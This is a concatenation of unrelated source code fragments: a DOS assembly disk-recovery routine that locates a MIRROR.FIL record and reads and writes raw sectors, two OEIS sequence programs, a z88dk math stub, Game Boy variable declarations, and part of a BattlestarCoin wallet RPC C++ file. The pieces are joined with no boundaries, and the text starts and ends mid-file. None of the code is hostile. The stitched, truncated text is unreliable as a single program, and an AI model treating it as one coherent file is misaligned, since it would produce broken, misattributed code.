;Date format code, from DOS country-info. or ax,ax jz fix_d_end ;Date format = USA, so nothing to do. cmp ax,2 ja fix_d_end ;Unknown format code. push date_field3 ;Year of initial US-format date. push date_field1 ;Month. push date_field2 ;Day. cmp al,2 ;Japan? je fix_d_japan pop date_field1 ;Europe. pop date_field2 pop date_field3 jmp short fix_d_end fix_d_japan: pop date_field3 pop date_field2 pop date_field1 fix_d_end: ret fix_date_foreign ENDP WRITE_OTHER_FAT_SECTOR PROC NEAR ; Upon entry AX has the logical sector # to write and ; BX points to the control record entry for the ; source of the data. With BX, we'll read the data. ; With AX, we'll write it. PUSH AX PUSH BX MOV AX_SAVE,AX MOV AX,word ptr ds:[bx].to_lsn_lo MOV ABS_25_SEC_LO,AX MOV AX,word ptr ds:[bx].to_lsn_hi MOV ABS_25_SEC_HI,AX MOV CX,1 LDS BX,OK_DWORD CALL ABS_25 JC WRITE_OTHER_STC MOV AX,AX_SAVE MOV ABS_25_SEC_LO,AX MOV ABS_25_SEC_HI,0 MOV CX,1 LDS BX,OK_DWORD TEST SWITCH,JUST_CHECK JZ W_O_F_S_WRITE ADD BX,SECTOR_SIZE CALL ABS_25 JC WRITE_OTHER_STC JMP short W_O_F_S_WRITE_OK W_O_F_S_WRITE: CALL ABS_26 JC WRITE_OTHER_STC W_O_F_S_WRITE_OK: TEST SWITCH,JUST_CHECK JZ W_O_F_S_WRITE_OK_1 CALL COMPARE_AREAS W_O_F_S_WRITE_OK_1: POP BX POP AX CLC RET WRITE_OTHER_STC: POP BX POP AX STC RET WRITE_OTHER_FAT_SECTOR ENDP ; ; Note: Glen's main module (UF_MAIN) has already validate ; the DOS version and checked for a network drive. ; So that code has been deleted. 5-2-89 GWD. ; CHECK_OBVIOUS_STUFF PROC NEAR MOV AX,3306H ; get true DOS version MOV BX,0 ; ala DOS 5.0 INT 21H CMP BL,5 ; function supported? JB VERSION_OLD_WAY MOV AX,BX JMP SHORT STORE_DOSVER VERSION_OLD_WAY: MOV AH,30H DOSEXEC STORE_DOSVER: XCHG AH,AL cmp ax,(3*256)+30 ;Zenith 3.30 DOS? jne store_version ;No way. cmp bh,5 ;Zenith ID? (GWD 11-18-88) jne store_version mov al,31 ;Pretend it's 3.31 DOS (supports huge partns). store_version: MOV DOS_VERSION,AX CLC RET CHECK_OBVIOUS_STUFF ENDP FIND_OUR_FILE PROC NEAR TEST SWITCH,INIT_F_O_F JZ F_O_F_FIRST_TIME TEST SWITCH,HARD_WAY JZ F_O_M_F_NEXT ADD HARD_WAY_SECTOR_NUM_LO,1 ADC HARD_WAY_SECTOR_NUM_HI,0 JMP NO_MIRROR_ASK_EM F_O_F_FIRST_TIME: OR SWITCH,INIT_F_O_F CALL GET_DRIVE_SPECS MOV DS,CS_SAVE JNC F_O_F_FIND_A_MIRROR_FILE JMP F_O_F_STC F_O_F_FIND_A_MIRROR_FILE: ; We'll look thru the last ten clusters for our wittle file. If we ; find it we'll use the logical sector in it to begin our lookin'. ; If we don't find it, we'll ask 'em if they want us to start from ; the front. MOV CHECKS_FOR_OUR_MIRROR_FILE,0 MOV AX,HIGHEST_CLUSTER MOV MIRROR_HI_CLU,AX CHECK_FOR_MIRROR_LOOP: MOV AX,MIRROR_HI_CLU CALL CONVERT_CLU_TO_LOG_SECTOR MOV BX,IO_AREA_PTR MOV CX,1 CALL ABS_25 JC F_O_M_F_BYPASS CALL MATCH_OUR_MIRROR_FILE ; izit? JC F_O_M_F_NEXT ; not that wun JMP short FOUND_OUR_MIRROR_FILE F_O_M_F_NEXT: INC CHECKS_FOR_OUR_MIRROR_FILE MOV AX,MAX_MIRROR_CLUSTERS CMP CHECKS_FOR_OUR_MIRROR_FILE,AX JAE NO_MIRROR_ASK_EM DEC MIRROR_HI_CLU CMP MIRROR_HI_CLU,1 JBE NO_MIRROR_ASK_EM mov ah,0Bh ;Check for Ctrl-C (allow user abort). int 21h ;Added 5-30-89 GWD. cmp al,0 jz f_o_m_f_nokey mov ax,0C00h ;Flush keyboard buffer. int 21h f_o_m_f_nokey: JMP CHECK_FOR_MIRROR_LOOP FOUND_OUR_MIRROR_FILE: MOV AX,SEC_LO_FROM_MIRROR_1 ; where its at man MOV ABS_25_SEC_LO,AX MOV AX,SEC_HI_FROM_MIRROR_1 ; where its at man MOV ABS_25_SEC_HI,AX MOV CX,1 CALL ABS_25 JC F_O_M_F_BYPASS CALL MATCH_REC JNC FOUND_OUR_FILE_CHK_PRIOR JMP F_O_M_F_NEXT F_O_M_F_BYPASS: PUSH DX LEA DX,BAD_SECTOR_MSG MOV AH,9 DOSEXEC POP DX JMP F_O_M_F_NEXT FOUND_OUR_FILE_CHK_PRIOR: TEST SWITCH,GOT_TWO_FILES JZ FOUND_OUR_FILE_JMP AND SWITCH,NOT GOT_TWO_FILES MOV AX,SEC_LO_FROM_MIRROR_2 MOV ABS_25_SEC_LO,AX MOV AX,SEC_HI_FROM_MIRROR_2 MOV ABS_25_SEC_HI,AX MOV CX,1 CALL ABS_25 JC FOUND_OUR_FILE_JMP CALL MATCH_REC JC FOUND_OUR_FILE_JMP OR SWITCH,GOT_TWO_FILES FOUND_OUR_FILE_JMP: JMP FOUND_OUR_FILE NO_MIRROR_ASK_EM: OR SWITCH,HARD_WAY AND SWITCH,NOT GOT_TWO_FILES CMP HARD_WAY_SECTOR_NUM_HI,0 JNE FIND_OUR_FILE_READ MOV DX,HARD_WAY_SECTOR_NUM_LO CMP DX,FIRST_DATA_SECTOR JNE FIND_OUR_FILE_READ MOV DS,CS_SAVE LEA DX,CANT_FIND_MIRROR_MSG MOV AH,9 DOSEXEC public no_mirror_ask_em_again NO_MIRROR_ASK_EM_AGAIN: MOV AX,0C01H DOSEXEC CMP AL,K_ESCAPE JE F_O_F_ESC AND AL,NOT 20H CMP AL,yes_char JE FIND_OUR_FILE_SEARCH CMP AL,no_char JNE NO_MIRROR_ASK_EM_AGAIN F_O_F_ESC: LEA DX,LINE_DOWN MOV AH,9 DOSEXEC MOV EXIT_ERROR,2 ; 2 = USER CANCELLED JMP short F_O_F_STC FIND_OUR_FILE_SEARCH: LEA DX,LINE_DOWN MOV AH,9 DOSEXEC FIND_OUR_FILE_READ: MOV AX,HARD_WAY_SECTOR_NUM_LO MOV ABS_25_SEC_LO,AX MOV AX,HARD_WAY_SECTOR_NUM_HI MOV ABS_25_SEC_HI,AX MOV CX,1 CALL ABS_25 JC F_O_F_BYPASS CALL MATCH_REC JNC FOUND_OUR_FILE_HARD JMP short F_O_F_INC F_O_F_BYPASS: PUSH DX LEA DX,BAD_SECTOR_MSG MOV AH,9 DOSEXEC POP DX F_O_F_INC: ADD HARD_WAY_SECTOR_NUM_LO,1 ADC HARD_WAY_SECTOR_NUM_HI,0 MOV DX,HARD_WAY_SECTOR_NUM_HI CMP DX,LAST_SECTOR_HI JB FIND_OUR_FILE_READ MOV DX,HARD_WAY_SECTOR_NUM_LO CMP DX,LAST_SECTOR_LO JB FIND_OUR_FILE_READ MOV EXIT_ERROR,3 ; 3 = DID NOT RUN SUCCESSFULLY. DID NOT MODIFY F_O_F_STC: STC RET FOUND_OUR_FILE_HARD: MOV AX,HARD_WAY_SECTOR_NUM_LO MOV SEC_LO_FROM_MIRROR_1,AX MOV ABS_SECTOR_LO,AX MOV AX,HARD_WAY_SECTOR_NUM_HI MOV SEC_HI_FROM_MIRROR_1,AX MOV ABS_SECTOR_HI,AX CALL DISPLAY_SECTOR_NUM MOV AX,WORD PTR H_E_SECTOR_NUM MOV WORD PTR HARD_WAY_NUM,AX MOV AX,WORD PTR H_E_SECTOR_NUM+2 MOV WORD PTR HARD_WAY_NUM+2,AX MOV AX,WORD PTR H_E_SECTOR_NUM+4 MOV WORD PTR HARD_WAY_NUM+4,AX MOV AL,H_E_SECTOR_NUM+6 MOV HARD_WAY_NUM+6,AL FOUND_OUR_FILE_HARD_AGAIN: LEA DX,HARD_WAY_MSG MOV AH,9 DOSEXEC MOV DI,IO_AREA_PTR ADD DI,BACKUP_IND_OFFSET CMP BYTE PTR [DI],0FFH JNE FOUND_OUR_FILE_MAYBE LEA DX,HARD_WAY_BACKUP_MSG MOV AH,9 DOSEXEC FOUND_OUR_FILE_MAYBE: LEA DX,HARD_WAY_ASK_MSG MOV AH,9 DOSEXEC MOV AX,0C01H DOSEXEC CMP AL,K_ESCAPE JE FOUND_HARD_ESC AND AL,NOT 20H CMP AL,yes_char JE FOUND_OUR_FILE_CLC CMP AL,no_char JNE FOUND_OUR_FILE_HARD_AGAIN LEA DX,LINE_DOWN MOV AH,9 DOSEXEC JMP F_O_F_INC FOUND_HARD_ESC: OR SWITCH,ESCAPE_PRESSED STC RET FOUND_OUR_FILE_CLC: LEA DX,LINE_DOWN MOV AH,9 DOSEXEC FOUND_OUR_FILE: CLC RET FIND_OUR_FILE ENDP CONVERT_CLU_TO_LOG_SECTOR PROC NEAR PUSH BX SUB AX,2 ; minus tew MOV BX,SECTORS_PER_CLU MUL BX ; times sectors per clu ADD AX,FIRST_DATA_SECTOR ; that shud be about it ADC DX,0 MOV ABS_25_SEC_LO,AX MOV ABS_25_SEC_HI,DX POP BX RET CONVERT_CLU_TO_LOG_SECTOR ENDP MATCH_REC PROC NEAR MOV SI,IO_AREA_PTR LEA DI,ASCIIZ MOV CX,14 TEST SWITCH,DRIVE_FIXED JNZ MATCH_NO_INC INC SI INC DI DEC CX MATCH_NO_INC: REPE CMPSB JNE MATCH_REC_STC MATCH_REC_CLC: CLC RET MATCH_REC_STC: STC RET MATCH_REC ENDP MATCH_OUR_MIRROR_FILE PROC NEAR AND SWITCH,NOT GOT_TWO_FILES MOV TIME_FROM_MIRROR_1,0FFFFH MOV SI,IO_AREA_PTR MOV AX,WORD PTR [SI] ; in case this is it, MOV SEC_LO_FROM_MIRROR_1,AX ; then save it MOV AX,WORD PTR [SI+2] ; in case this is it, MOV SEC_HI_FROM_MIRROR_1,AX ; then save it ADD SI,4 ; where it oughta be LEA DI,OUR_SIGNATURE MOV CX,OUR_SIGNATURE_LEN REPE CMPSB JNE M_O_M_F_STC MOV SI,IO_AREA_PTR MOV AX,WORD PTR MIRROR_TIME_1[SI] MOV TIME_FROM_MIRROR_1,AX MOV AX,WORD PTR MIRROR_YEAR_1[SI] MOV YEAR_FROM_MIRROR_1,AX MOV AX,WORD PTR MIRROR_MODAY_1[SI] MOV MODAY_FROM_MIRROR_1,AX CMP WORD PTR MIRROR_LSN_HI_2[SI],0 JNE M_O_M_F_CHK CMP WORD PTR MIRROR_LSN_LO_2[SI],2 JB M_O_M_F_CLC M_O_M_F_CHK: MOV AX,HIGHEST_CLUSTER CALL CONVERT_CLU_TO_LOG_SECTOR MOV AX,ABS_25_SEC_HI CMP WORD PTR MIRROR_LSN_HI_2[SI],AX JB M_O_M_F_GET_2ND MOV AX,ABS_25_SEC_LO CMP WORD PTR MIRROR_LSN_LO_2[SI],AX JA M_O_M_F_CLC M_O_M_F_GET_2ND: OR SWITCH,GOT_TWO_FILES MOV AX,WORD PTR MIRROR_LSN_LO_2[SI] MOV SEC_LO_FROM_MIRROR_2,AX MOV AX,WORD PTR MIRROR_LSN_HI_2[SI] MOV SEC_HI_FROM_MIRROR_2,AX MOV AX,WORD PTR MIRROR_TIME_2[SI] MOV TIME_FROM_MIRROR_2,AX MOV AX,WORD PTR MIRROR_YEAR_2[SI] MOV YEAR_FROM_MIRROR_2,AX MOV AX,WORD PTR MIRROR_MODAY_2[SI] MOV MODAY_FROM_MIRROR_2,AX M_O_M_F_CLC: CLC RET M_O_M_F_STC: STC RET MATCH_OUR_MIRROR_FILE ENDP GET_DRIVE_SPECS PROC NEAR push si MOV MIRROR_SWITCH,0 MOV AH,32H MOV DL,ASCIIZ SUB DL,40H DOSEXEC CMP AL,0FFH JNE GET_DRIVE_1 JMP SPEC_ERROR GET_DRIVE_1: mov si,1 ;If DOS=4.xx then SI=1, else SI=0. cmp dos_version,400h ;CF=true if ver# is < 400h. sbb si,0 ;Decrements only if DOS < 4.00. CMP BYTE PTR [BX+si]+22,0F8H ; is it a fixed disk? JE GET_DRIVE_FIXED CMP DOS_VERSION,0300H JB GET_DRIVE_2 PUSH BX MOV AX,4408H MOV BL,ASCIIZ SUB BL,40H DOSEXEC POP BX JC GET_DRIVE_2 CMP AL,1 JNE GET_DRIVE_2 GET_DRIVE_FIXED: OR SWITCH,DRIVE_FIXED GET_DRIVE_2: MOV CX,[BX]+11 ; get first usable sector MOV FIRST_DATA_SECTOR,CX MOV HARD_WAY_SECTOR_NUM_LO,CX MOV HARD_WAY_SECTOR_NUM_HI,0 SUB CX,[BX+si]+16 ; minus first directory sector MOV NUM_DIR_SECTORS,CX MOV ax,[BX]+15 ; get sectors per FAT or si,si jnz get_drive_2x ;DOS 4.xx mov ah,0 ;For DOS < 4.00, it's only a byte. get_drive_2x: ADD AX,[BX]+6 ; dont forget reserved (BOOT) MOV NUM_BOOT_FAT_SECTORS,AX ADD CX,AX MOV NUM_SECTORS_TO_HANDLE,CX MOV AX,[BX]+13 ; get cluster count + 1 MOV HIGHEST_CLUSTER,AX ; save it PUSH AX SHR AX,1 SHR AX,1 MOV MAX_MIRROR_CLUSTERS,AX POP AX ; MOV MAX_MIRROR_CLUSTERS,AX ; DEC MAX_MIRROR_CLUSTERS DEC AX MOV CH,0 MOV CL,[BX]+4 ; get sectors per cluster - 1 INC CX MUL CX ; # of sectors in data area ADD AX,[BX]+11 ; add system sectors ADC DX,0 MOV LAST_SECTOR_LO,AX MOV LAST_SECTOR_HI,DX MOV AX,[BX]+2 ; get sector size MOV SECTOR_SIZE,AX MOV AL,[BX]+4 ; get sectors per cluster INC AL MOV AH,0 MOV SECTORS_PER_CLU,AX MOV AX,[BX+si]+16 ; get 1st directory sector MOV FIRST_DIRECTORY_SECTOR,AX CMP DOS_VERSION,031FH ;Version 3.31 DOS? JB GET_DRIVE_THRU MOV AX,SECTORS_PER_CLU MUL HIGHEST_CLUSTER ADD AX,FIRST_DATA_SECTOR ADC DX,0 OR DX,DX JE GET_DRIVE_THRU OR MIRROR_SWITCH,ABS_25_HARD_WAY GET_DRIVE_THRU: CLC jmp short get_drive_exit SPEC_ERROR: LEA DX,DRIVE_MSG MOV AH,9 DOSEXEC LEA DX,DRIVE_SPEC_ERROR MOV AH,9 DOSEXEC MOV EXIT_ERROR,5 ; 5 = STRANGE ENVIRONMENT OR DISK STC get_drive_exit: pop si RET GET_DRIVE_SPECS ENDP ABS_25 PROC NEAR PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH DS MOV ABS_25_OFF,BX MOV ABS_25_SEG,DS MOV ABS_25_COUNT,CX MOV DX,ABS_25_SEC_HI MOV ABS_SECTOR_HI,DX MOV DX,ABS_25_SEC_LO MOV ABS_SECTOR_LO,DX MOV AL,ASCIIZ SUB AL,41H TEST MIRROR_SWITCH,ABS_25_HARD_WAY JZ ABS_25_READ MOV CX,-1 MOV DS,CS_SAVE LEA BX,ABS_25_LIST ABS_25_READ: INT 25H JC ABS_25_ERROR POPF CLC ABS_25_EXIT: POP DS POP BP POP DI POP SI POP DX POP CX POP BX RET ABS_25_ERROR: POPF TEST SWITCH,REPORT_ERRORS JNZ ABS_25_HANDLE STC JMP ABS_25_EXIT ABS_25_HANDLE: MOV AX,0 CALL HANDLE_ERROR JC ABS_25_EXIT or ax,ax ; CMP AX,0 JE ABS_25_RETRY CLC JMP ABS_25_EXIT ABS_25_RETRY: POP BP POP DI POP SI POP DX POP CX POP BX JMP ABS_25 ABS_25 ENDP ABS_26 PROC NEAR PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH DS MOV ABS_25_OFF,BX MOV ABS_25_SEG,DS MOV ABS_25_COUNT,CX MOV DX,ABS_25_SEC_HI MOV ABS_SECTOR_HI,DX MOV DX,ABS_25_SEC_LO MOV ABS_SECTOR_LO,DX MOV AL,ASCIIZ SUB AL,41H TEST MIRROR_SWITCH,ABS_25_HARD_WAY JZ ABS_26_WRITE MOV CX,-1 MOV DS,CS_SAVE LEA BX,ABS_25_LIST ABS_26_WRITE: INT 26H JC ABS_26_ERROR POPF CLC ABS_26_EXIT: POP DS POP BP POP DI POP SI POP DX POP CX POP BX RET ABS_26_ERROR: POPF TEST SWITCH,REPORT_ERRORS JNZ ABS_26_HANDLE STC JMP ABS_26_EXIT ABS_26_HANDLE: MOV AX,1 CALL HANDLE_ERROR JC ABS_26_EXIT or ax,ax ; CMP AX,0 JE ABS_26_RETRY CLC JMP ABS_26_EXIT ABS_26_RETRY: POP BP POP DI POP SI POP DX POP CX POP BX JMP ABS_26 ABS_26 ENDP HANDLE_ERROR PROC NEAR PUSH DS MOV DS,CS_SAVE LEA DX,ERROR_READ CMP AX,0 JE H_E_1 LEA DX,ERROR_WRITE H_E_1: MOV AH,9 DOSEXEC CALL DISPLAY_SECTOR_NUM LEA DX,H_E_SECTOR_NUM MOV AH,9 DOSEXEC H_E_AGAIN: LEA DX,H_E_QUESTION MOV AH,9 DOSEXEC MOV AX,0C01H DOSEXEC CMP AL,K_ESCAPE JE H_E_ABORT AND AL,NOT 20H CMP AL,abort_char ;'A' JE H_E_ABORT CMP AL,retry_char ;'R' JE H_E_RETRY CMP AL,ignore_char ;'I' JNE H_E_AGAIN MOV AX,1 CLC JMP short H_E_EXIT H_E_RETRY: xor ax,ax ; MOV AX,0 ; CLC JMP short H_E_EXIT H_E_ABORT: MOV EXIT_ERROR,4 ; 4 = DID NOT RUN SUCCESSFULLY. DID MODIFY STC H_E_EXIT: PUSHF PUSH AX LEA DX,LINE_DOWN MOV AH,9 DOSEXEC POP AX POPF POP DS RET HANDLE_ERROR ENDP COMPARE_AREAS PROC NEAR PUSH ES PUSH DI PUSH DS PUSH SI PUSH CX PUSH AX LES DI,OK_DWORD LDS SI,OK_DWORD ADD DI,SECTOR_SIZE MOV CX,SECTOR_SIZE COMPARE_AREAS_AGAIN: REPE CMPSB JE COMPARE_AREAS_EXIT MOV AX,CX AND AX,1FH CMP AX,9 JA COMPARE_AREAS_FAILED CMP AX,4 JB COMPARE_AREAS_FAILED ADD SI,AX ADD DI,AX SUB CX,AX CALL CHECK_OF_OK_TO_FAIL JNC COMPARE_AREAS_AGAIN COMPARE_AREAS_FAILED: INC CHECK_FAILED COMPARE_AREAS_EXIT: POP AX POP CX POP SI POP DS POP DI POP ES RET COMPARE_AREAS ENDP CHECK_OF_OK_TO_FAIL PROC NEAR PUSH SI PUSH DI PUSH ES PUSH CX SUB SI,32 LEA AX,NAMES MOV ES,CS_SAVE C_O_O_T_F_COMPARE: PUSH SI MOV DI,AX MOV CX,11 REPE CMPSB POP SI JE C_O_O_T_F_CLC ADD AX,11 CMP AX,OFFSET NAMES+22 JNA C_O_O_T_F_COMPARE STC JMP short C_O_O_T_F_EXIT C_O_O_T_F_CLC: CLC C_O_O_T_F_EXIT: POP CX POP ES POP DI POP SI RET CHECK_OF_OK_TO_FAIL ENDP HEX_TO_ASCII PROC NEAR PUSH DX PUSH BX xor dx,dx MOV BX,10 DIV BX MOV AH,DL OR AX,3030H POP BX POP DX RET HEX_TO_ASCII ENDP DISPLAY_SECTOR_NUM PROC NEAR PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH BP MOV CX,7 MOV AX,ABS_SECTOR_LO MOV DX,ABS_SECTOR_HI MOV WORD PTR H_E_SECTOR_NUM,' ' MOV WORD PTR H_E_SECTOR_NUM+2,' ' MOV WORD PTR H_E_SECTOR_NUM+4,' ' LEA DI,H_E_SECTOR_NUM+6 MOV BX,10000 ;DIVIDE BY 10000 DIV BX ; BREAK INTO 2 PARTS MOV BP,AX ; SAVE HI PART MOV AX,DX ; WORK ON LOW PART FIRST xor dx,dx MOV SI,CX SUB SI,4 MOV CX,4 MOV BX,10 HEX_TO_ASCIIZ_DIV: DIV BX ;PERFORM DIVISION ; AX = QUOTIENT ; DX = REMAINDER ADD DL,30H ;MAKE RELATIVE TO ASCII ZERO MOV BYTE PTR [DI],DL ;MOVE VALUE TO OUTPUT AREA DEC DI ;DECREMENT OUTPUT POINTER xor dx,dx ;ADJUST AX BACK TO 32 BIT NUMBER or ax,ax jnz HEX_TO_ASCIIZ_CONT or bp,bp jz HEX_TO_ASCIIZ_EXIT HEX_TO_ASCIIZ_CONT: LOOP HEX_TO_ASCIIZ_DIV MOV AX,BP xor dx,dx MOV CX,SI xor si,si xor bp,bp JMP HEX_TO_ASCIIZ_DIV HEX_TO_ASCIIZ_EXIT: POP BP POP DI POP DX POP CX POP BX POP AX RET DISPLAY_SECTOR_NUM ENDP ; ; OFFSET_COMP EQU $ DB 'x:\' DB 'MIRROR.FIL',0 DB 9 DUP(0) ;BACKUP_LSEEK EQU $-OFFSET_COMP BACKUP_IND_OFFSET EQU $-OFFSET_COMP DB 0 DW 0 ORG OFFSET_COMP+26 R_IO_INFO_OFFSET EQU $-OFFSET_COMP DB 16 DUP(0) ORG OFFSET_COMP+64 R_CTL_OFFSET EQU $-OFFSET_COMP ; prog ENDS END 
; A017454: a(n) = (11*n + 5)^6. ; 15625,16777216,387420489,3010936384,13841287201,46656000000,128100283921,304006671424,646990183449,1265319018496,2313060765625,4001504141376,6611856250609,10509215371264,16157819263041,24137569000000,35161828327081,50096498540544,69980368892329,96046742518336,129746337890625,172771465793536,227081481823729,294929514414144,378890468381881,481890304000000,607236591593241,758650341657664,940299110504209,1156831381426176,1413412221390625,1715760213253696,2070185663499849,2483630085505024 mul $0,11 add $0,5 pow $0,6
; float fmin(float x, float y) __z88dk_callee SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sdccix_fmin_callee, l0_cm48_sdccix_fmin_callee EXTERN am48_fmin, cm48_sdccixp_dcallee2, cm48_sdccixp_m482d cm48_sdccix_fmin_callee: call cm48_sdccixp_dcallee2 ; AC'= y ; AC = x l0_cm48_sdccix_fmin_callee: call am48_fmin jp cm48_sdccixp_m482d
; A073028: a(n) = max{ C(n,0), C(n-1,1), C(n-2,2), ..., C(n-n,n) }. ; Submitted by Christian Krause ; 1,1,1,2,3,4,6,10,15,21,35,56,84,126,210,330,495,792,1287,2002,3003,5005,8008,12376,19448,31824,50388,77520,125970,203490,319770,497420,817190,1307504,2042975,3268760,5311735,8436285,13123110,21474180,34597290,54627300,86493225,141120525,225792840,354817320,573166440,927983760,1476337800,2319959400,3796297200,6107086800,9669554100,15471286560,25140840660,40225345056,63432274896,103077446706,166509721602,265182149218,421171648758,686353797976,1103068603890,1749695026860,2818953098830 pow $1,$0 lpb $0 sub $0,1 add $3,1 mov $2,$3 bin $2,$0 trn $2,$1 add $1,$2 lpe mov $0,$1
; ================================================================ ; Variables ; ================================================================ if !def(incVars) incVars set 1 SECTION "Variables",wram0 ; ================================================================ ; Global variables ; ================================================================ VBACheck: ds 1 ; variable used to determine if we're running in VBA GBCFlag: ds 1 sys_btnHold: ds 1 ; held buttons sys_btnPress: ds 1 ; pressed buttons ; ================================================================ ; Project-specific variables ; ================================================================ ; Insert project-specific variables here. CurrentSong: ds 1 MaxRasterTime: ds 1 ; ================================================================ SECTION "Temporary register storage space",HRAM tempAF: ds 2 tempBC: ds 2 tempDE: ds 2 tempHL: ds 2 tempSP: ds 2 tempPC: ds 2 tempIF: ds 1 tempIE: ds 1 OAM_DMA: ds 8 ; ================================================================ endc
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2012 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "base58.h" #include "rpcserver.h" #include "init.h" #include "net.h" #include "netbase.h" #include "timedata.h" #include "util.h" #include "wallet.h" #include "walletdb.h" using namespace std; using namespace json_spirit; int64_t nWalletUnlockTime; static CCriticalSection cs_nWalletUnlockTime; extern void TxToJSON(const CTransaction& tx, const uint256 hashBlock, json_spirit::Object& entry); static void accountingDeprecationCheck() { if (!GetBoolArg("-enableaccounts", false)) throw runtime_error( "Accounting API is deprecated and will be removed in future.\n" "It can easily result in negative or odd balances if misused or misunderstood, which has happened in the field.\n" "If you still want to enable it, add to your config file enableaccounts=1\n"); if (GetBoolArg("-staking", true)) throw runtime_error("If you want to use accounting API, staking must be disabled, add to your config file staking=0\n"); } std::string HelpRequiringPassphrase() { return pwalletMain && pwalletMain->IsCrypted() ? "\nrequires wallet passphrase to be set with walletpassphrase first" : ""; } void EnsureWalletIsUnlocked() { if (pwalletMain->IsLocked()) throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Error: Please enter the wallet passphrase with walletpassphrase first."); if (fWalletUnlockStakingOnly) throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Error: Wallet is unlocked for staking only."); } void WalletTxToJSON(const CWalletTx& wtx, Object& entry) { int confirms = wtx.GetDepthInMainChain(); entry.push_back(Pair("confirmations", confirms)); if (wtx.IsCoinBase() || wtx.IsCoinStake()) entry.push_back(Pair("generated", true)); if (confirms > 0) { entry.push_back(Pair("blockhash", wtx.hashBlock.GetHex())); entry.push_back(Pair("blockindex", wtx.nIndex)); entry.push_back(Pair("blocktime", (int64_t)(mapBlockIndex[wtx.hashBlock]->nTime))); } entry.push_back(Pair("txid", wtx.GetHash().GetHex())); entry.push_back(Pair("time", (int64_t)wtx.GetTxTime())); entry.push_back(Pair("timereceived", (int64_t)wtx.nTimeReceived)); BOOST_FOREACH(const PAIRTYPE(string,string)& item, wtx.mapValue) entry.push_back(Pair(item.first, item.second)); } string AccountFromValue(const Value& value) { string strAccount = value.get_str(); if (strAccount == "*") throw JSONRPCError(RPC_WALLET_INVALID_ACCOUNT_NAME, "Invalid account name"); return strAccount; } Value getnewpubkey(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "getnewpubkey [account]\n" "Returns new public key for coinbase generation."); // Parse the account first so we don't generate a key if there's an error string strAccount; if (params.size() > 0) strAccount = AccountFromValue(params[0]); if (!pwalletMain->IsLocked()) pwalletMain->TopUpKeyPool(); // Generate a new key that is added to wallet CPubKey newKey; if (!pwalletMain->GetKeyFromPool(newKey)) throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first"); CKeyID keyID = newKey.GetID(); pwalletMain->SetAddressBookName(keyID, strAccount); return HexStr(newKey.begin(), newKey.end()); } Value getnewaddress(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "getnewaddress [account]\n" "Returns a new BattlestarCoin address for receiving payments. " "If [account] is specified, it is added to the address book " "so payments received with the address will be credited to [account]."); // Parse the account first so we don't generate a key if there's an error string strAccount; if (params.size() > 0) strAccount = AccountFromValue(params[0]); if (!pwalletMain->IsLocked()) pwalletMain->TopUpKeyPool(); // Generate a new key that is added to wallet CPubKey newKey; if (!pwalletMain->GetKeyFromPool(newKey)) throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first"); CKeyID keyID = newKey.GetID(); pwalletMain->SetAddressBookName(keyID, strAccount); return CBitcoinAddress(keyID).ToString(); } CBitcoinAddress GetAccountAddress(string strAccount, bool bForceNew=false) { CWalletDB walletdb(pwalletMain->strWalletFile); CAccount account; walletdb.ReadAccount(strAccount, account); bool bKeyUsed = false; // Check if the current key has been used if (account.vchPubKey.IsValid()) { CScript scriptPubKey; scriptPubKey.SetDestination(account.vchPubKey.GetID()); for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end() && account.vchPubKey.IsValid(); ++it) { const CWalletTx& wtx = (*it).second; BOOST_FOREACH(const CTxOut& txout, wtx.vout) if (txout.scriptPubKey == scriptPubKey) bKeyUsed = true; } } // Generate a new key if (!account.vchPubKey.IsValid() || bForceNew || bKeyUsed) { if (!pwalletMain->GetKeyFromPool(account.vchPubKey)) throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first"); pwalletMain->SetAddressBookName(account.vchPubKey.GetID(), strAccount); walletdb.WriteAccount(strAccount, account); } return CBitcoinAddress(account.vchPubKey.GetID()); } Value getaccountaddress(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "getaccountaddress <account>\n" "Returns the current BattlestarCoin address for receiving payments to this account."); // Parse the account first so we don't generate a key if there's an error string strAccount = AccountFromValue(params[0]); Value ret; ret = GetAccountAddress(strAccount).ToString(); return ret; } Value setaccount(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "setaccount <battlestarcoinaddress> <account>\n" "Sets the account associated with the given address."); CBitcoinAddress address(params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid BattlestarCoin address"); string strAccount; if (params.size() > 1) strAccount = AccountFromValue(params[1]); // Detect when changing the account of an address that is the 'unused current key' of another account: if (pwalletMain->mapAddressBook.count(address.Get())) { string strOldAccount = pwalletMain->mapAddressBook[address.Get()]; if (address == GetAccountAddress(strOldAccount)) GetAccountAddress(strOldAccount, true); } pwalletMain->SetAddressBookName(address.Get(), strAccount); return Value::null; } Value getaccount(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "getaccount <battlestarcoinaddress>\n" "Returns the account associated with the given address."); CBitcoinAddress address(params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid BattlestarCoin address"); string strAccount; map<CTxDestination, string>::iterator mi = pwalletMain->mapAddressBook.find(address.Get()); if (mi != pwalletMain->mapAddressBook.end() && !(*mi).second.empty()) strAccount = (*mi).second; return strAccount; } Value getaddressesbyaccount(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "getaddressesbyaccount 